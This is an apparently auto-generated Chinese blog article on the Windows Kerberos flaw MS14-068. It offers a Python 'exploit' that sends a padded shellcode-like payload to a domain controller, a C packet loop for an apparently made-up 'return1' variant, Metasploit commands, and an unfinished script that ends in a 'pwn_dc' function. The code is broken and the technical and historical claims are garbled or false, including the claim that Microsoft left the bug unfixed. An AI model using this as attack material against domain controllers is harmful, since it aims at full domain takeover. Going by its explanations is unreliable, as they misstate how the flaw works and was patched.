一、MS14-068 Exp資料概述
MS14-068是一種存在於Windows Server 2003、2008和2012操作系統中的漏洞。該漏洞使得攻擊者可以繞過Kerberos協議的身份驗證過程,進入系統,並在域控制器中創建一個擁有全局管理員許可權的賬戶。
這個漏洞最初由Miroslav Stampar和Zoran Jevtic在2014年11月發現,並由Sinit研究人員於11月18日首次公開披露。在此之後,出現了多個針對漏洞的利用工具和漏洞利用框架。
下面是一個簡單的Python漏洞利用腳本,用於執行MS14-068攻擊流程。需要注意的是,該腳本只能在Python 2.x環境下運行:
#!/usr/bin/env python
import struct
import socket
import sys
#設定目標機器的地址和埠
target = sys.argv[1]
port = 88
#初始化socks協議,與目標伺服器建立連接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
#構建請求包,開始認證過程
data = (
"\x6a\x30\x30\x57\x55\x55\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
#Padding數據
"\xe9\x06\x00\x00\x00"
"\x18\x58\x01\x56"
"\xe5\x5d\xe5\x5d\xe5\x5d\x33\xd2\x52\x89\xe1\x81\xc1\xff\x0f\x00\x00\xd1\xf8\x7e\x03\x29\xd7\x8b\x12\xeb\x08\x5d\x89\xc2\xeb\x03\x8b\x52\x10\x89\x11\xc7\x41\xfc\xfd\xff\xff"
#Authenticode數據
"\xc1\xea\x10\x8b\x42\xfc\xb3\x84\x51\x8b\x4a\xf8\x8b\xda\x03\xd9\x41\x51\x8b\x59\x20\x03\xd9\x41\x51\x8b\xb9\xfc\x03\x3e\x6f\x81\xf9\x5b\xbc\xa0\x57\x52\x51\x53\xff\xd2\x8b\x8f\x24\x04\x00\x00\x39\x31\x74\x0e\x83\xc1\x08\x39\x51\x04\x75\xeb"
)
#將構造的數據包,發給目標伺服器
s.send(data)
#接收目標伺服器的返回數據包
resp = s.recv(4096)
#列印伺服器返回數據包的信息
print "Response: \n" + resp.encode('hex')
#關閉socket連接
s.close()
二、MS14-068山山而川
MS14-068漏洞源於在進行group membership檢查時,Kerberos模塊會根據用戶許可權規則(如用戶是否屬於某個特定組)來檢查用戶的訪問許可權。攻擊者利用該漏洞,可以偽造用戶的group membership聲明,假冒用戶在域控制器中的許可權,進而創建一個擁有完全管理員許可權的賬戶,從而完全掌控目標系統。
Microsoft在針對該漏洞進行補丁修復時,實際上並沒有修復漏洞本身,而是通過在Kerberos中添加了新的欄位(稱為SID),以增加對每個用戶的附加審核。同時還添加了對group membership計算的審核抽象,這使得資料庫從此包含由操作系統更改後的額外信息。
三、MS14-068原理
MS14-068漏洞發生在Kerberos協議處理中,由於Kerberos是用於網路身份驗證的安全協議,用於身份驗證,因此攻擊者可以通過對協議的一些特殊操作來實現攻擊。這些特殊操作對Kerberos協議進行欺騙,使其接受一個具有隨機SID的偽造票證。這個隨機SID被認為是域管理員組的SID,使攻擊者可以獲取完全的域管理員許可權。
許多攻擊者利用MS14-068漏洞的方法是通過構造TGS請求,然後將該請求送到域控制器。如果TGS請求包的構造正確並且包含了攻擊者的偽造票證,那麼請求就會通過身份驗證檢查,並且允許攻擊者針對特定資源進入域控制器。然後,攻擊者就可以使用偽造的用戶票證獲得完全的域管理員許可權。
四、MS14-068 return1
在MS14-068漏洞被揭示之後,Microsoft已經發布了一些相關的安全更新以修復該漏洞。然而,還是有一些漏洞,如MS14-068 return1,試圖利用一些過期的安全機制,來使攻擊者能夠繞過現有的安全修復。
MS14-068 return1漏洞是一種逆向工程技術,其中攻擊者利用組合注入攻擊包來繞過當前的安全修復。該漏洞可以在一個受感染的系統中自動執行,進一步放大了其危險性。
while (length > 0)
{
if (length < PACKET_MAX_SIZE)
{
memset(payload, 0x41, length);
payload[length - 1] = '\x01';
}
else
{
memset(payload, 0x41, PACKET_MAX_SIZE);
payload[PACKET_MAX_SIZE - 1] = '\x01';
}
length -= PACKET_MAX_SIZE;
send_packet(payload, PACKET_MAX_SIZE);
}
memset(payload, 0x41, 4096);
for (i = 0; i < 16; i++) {
p = (PUINT64)(payload + 4 + (i * 8));
*p = 0x0000000100000000;
}
send_packet(payload, 0x1000);
五、MS14-068漏洞原理
在Kerberos實現中含有一個與組相關的問題,導致攻擊者可以偽造的「訪問令牌」來繞過訪問控制。該漏洞的根本問題是,在接受一個TGS請求時,由於Kerberos模塊根據用戶許可權規則(如用戶是否屬於某個特定組)來判斷用戶是否有特定的域訪問許可權。當一個用戶請求訪問該域時,Kerberos模塊調用相關的代碼來判斷該用戶的許可權。攻擊者可以通過改變這個請求,使其包含虛假的域信息和隨機SID。
在TGS請求中,攻擊者向域控制器發送給定的信息,然後向伺服器發送一個包含相同信息的請求。當伺服器接收到請求時,由於其具有相同的信息,因此將用戶視為合法。然後,攻擊者可以利用Kerberos協議獲取到一個全局管理員許可權的賬戶,從而完全控制目標系統。
六、MS14-068漏洞利用
攻擊者可以驗證MS14-068漏洞是否存在,然後使用工具來進行漏洞利用。攻擊者可以使用Metasploit框架來識別存在漏洞的主機,並可以使用相應的攻擊模塊來跟蹤攻擊流程。下面是漏洞利用的一個示例:
use exploit/windows/dcerpc/ms14_068_kerberos_checksum
set RHOST <target ip>
set THREADS <thread count>
run
此外,攻擊者還可以使用自己寫的攻擊工具,比如通過使用Python腳本進行MS14-068漏洞利用:
import struct
import socketdef connect_to_dc(dc):
tcp_client = socket.socket()
tcp_client.connect((str(dc), 88))
return tcp_client
def connect_to_ldap(dc):
tcp_client = socket.socket()
tcp_client.connect((str(dc), 389))
return tcp_client
def kerberos_zero_authenticate(dc_ip, host_princ, user):
dc_socket = connect_to_dc(dc_ip)
sock_buffer = kerberos_as_req(host_princ, user)
dc_socket.send(sock_buffer)
data = dc_socket.recv(1024)
dc_socket.close()
tgt = extract_kerberos_ticket(data)
if not tgt:
print ("Could not authenticate to: %s" % dc_ip)
return None
else:
print ("Got TGT %s for: %s" % (tgt['ticket'], user))
return tgt
def kerberos_tgs_req(dc_name, dc_ip, service, tgt, spn):
print ('[*] Sending TGS-REQ for %s...' % spn)
tgs_req = build_tgs_req(dc_name, service, tgt)
# Connect to target/88 and get TGS for service
client_socket = connect_to_dc(dc_ip)
client_socket.send(tgs_req)
data = client_socket.recv(8192)
client_socket.close()
tgs = extract_kerberos_ticket(data)
if tgs:
print ("Got TGS for %s" % service)
return tgs
else:
print ("Could not obtain TGS for %s" % service)
return None
def pwn_dc(dc_name, dc_ip):
#authenticate as needed user
tgt = kerberos_zero_authenticate(dc_ip, "ldap/%s@%s" % (dc_name, dc_name), 'krbtgt/%s' % dc_name)
#ask tgt for needed service ticket service
tgs = kerberos_tgs_req(dc_name, dc_ip, "ldap/%s" % dc_name, tgt, "ldap/%s" % dc_name)
#authentic
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/236792.html